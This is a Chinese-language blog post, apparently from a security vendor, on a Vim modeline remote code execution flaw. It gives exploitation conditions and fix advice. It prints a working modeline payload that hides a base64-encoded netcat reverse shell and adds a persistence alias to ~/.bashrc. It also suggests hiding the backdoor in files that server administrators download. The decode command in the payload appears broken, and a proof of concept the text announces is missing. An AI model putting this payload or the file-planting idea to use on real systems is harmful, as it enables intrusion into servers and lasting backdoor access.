linux系統一直以來都是比較安全的,不管是系統內核還是一些第三方軟件都沒有太大的漏洞,包括前幾年爆出的redis漏洞,沒有太多漏洞,然后最近linux頻頻爆出高危的漏洞,使用vim文本編輯器很多年了,得知被爆出遠程代碼執行漏洞,有點不可思議,全國大多數的linux服務器都使用的是vim,包括centos系統,redhat,關于該漏洞的詳情以及修復方案,我們SINE安全來詳細的跟大家介紹一下:
Linux vim漏洞詳情
我們來看一下這個linux漏洞的利用條件,首先vim編輯器的版本是在8.0上下的,目前很多linux服務器都是8.0左右的版本,大部分的linux服務器受該漏洞的影響,再一個利用的條件是開啟modeline選項,默認的vim配置是不自動開啟的,所以漏洞的產生是要開啟這個選項,很多低版本的VIM都不會開啟,所以漏洞的影響范圍降低了。我們來復現這個VIM POC漏洞,在VIM的配置文件里開啟modeline,并保存。POC代碼如下:
上面的漏洞是可以用來遠程執行的,反向代理到我們自己的IP,進行后門連接,上面代碼里的十六進制字符要轉化成二進制的表現形式,然后將反斜杠的轉義字符刪除掉,可以將n寫成回車鍵,這樣就可以NC后門監聽到我們自己的電腦IP,建立起遠程反彈后門,對linux進行操作。
我們在實際漏洞測試當中還發現上面的POC代碼并不能持久化的建立后門連接,運行一次后,第二次運行只能是普通文本的方式運行了,我們可以構造一下宏的木馬后門,每次運行vim命令都執行我們設定好的木馬后門NC反彈地址,代碼如下:
[?7lSNothingqy:silent! w | call system('echo "IG5vaHVwIG5jIDEyNy4wLjAuMSA5OTk5IC1lIC9iaW4vc2ggPi9kZXYvbnVsbCAyPiYxICYgZWNobyAiYWxpYXMgdmltPSd2aW0gLWMgXCJAeVwiJ1xuIHNob3B0IC1zIGV4cGFuZF9hbGlhc2VzXG4iID4+IH4vLmJhc2hyYw=="| -d | sh') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set fde=x | source! %') fdl=0: [1G[KNothing."[Dq
整個linux vim漏洞利用前提是要開啟這個modeline配置,很多服務器默認是不開啟這個選項的,不過有些服務器的系統版本包括centos 6.0版本的都會開啟這個配置,有些服務器運維人員可能會下載配置文件,以及代碼,可以直接在代碼里加入后門,讓他們VIM編輯的時候觸發漏洞,總之只要打開了這個文件就會中招,關于該linux 漏洞的修復,建議將modeline關閉,并升級VIM到最新版本。